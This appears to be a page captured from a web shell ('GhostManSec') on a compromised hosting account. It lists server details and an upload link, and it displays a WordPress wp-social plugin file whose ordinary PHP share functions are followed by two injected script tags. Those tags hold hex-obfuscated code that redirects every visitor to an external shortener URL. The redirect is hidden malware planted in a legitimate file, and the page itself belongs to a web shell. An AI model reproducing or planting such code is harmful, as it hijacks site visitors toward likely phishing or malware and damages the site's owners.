GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/venice-restaurants.anqa.it/wp-content/plugins/wp-social/inc/custom-function.php
<?php

if (!defined('ABSPATH')) die('Forbidden');

/**
 * These are mostly for other plugin, like woocommerce share product widget
 *
 */


if(!function_exists('__wp_social_api_share')) {

	function __wp_social_api_share($providers, $attributes = []) {

		if(empty($providers)) {

			return '';
		}

		if($providers === 'all') {

			$out_provider = \WP_Social\App\Share_Settings::instance()->get_enabled_providers();

		} else {

			$providers = explode(',', $providers);
			$p_conf = \WP_Social\App\Share_Settings::instance()->get_enabled_providers();
			$out_provider = [];

			foreach($providers as $provider) {

				$provider = trim($provider);

				if(isset($p_conf[$provider]) && !empty($p_conf[$provider]['enable'])) {

					$out_provider[$provider] = $p_conf[$provider];
				}
			}
		}

		$share = new \WP_Social\App\Share();

		return $share->get_share_primary_content($out_provider, $attributes);
	}
}


if(!function_exists('__wp_social_share')) {

	function __wp_social_share($provider = 'all', $atts = []) {
		if(class_exists('\WP_Social\Inc\Share')) {
			$return = new \WP_Social\Inc\Share(false);

			return $return->get_share_data($provider, $atts);
		}
	}
}

if(!function_exists('__wp_social_share_pro_check')) {
	function __wp_social_share_pro_check() {
		$option_key     = 'xs_share_providers_data';
		$xsc_options    = get_option($option_key) ? get_option($option_key) : [];
		$share_provider = isset($xsc_options['social']) ? $xsc_options['social'] : [];

		foreach($share_provider AS $kk => $vv):
			if(isset($share_provider[$kk]['enable'])) {
				return true;
			}
		endforeach;

		return false;
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>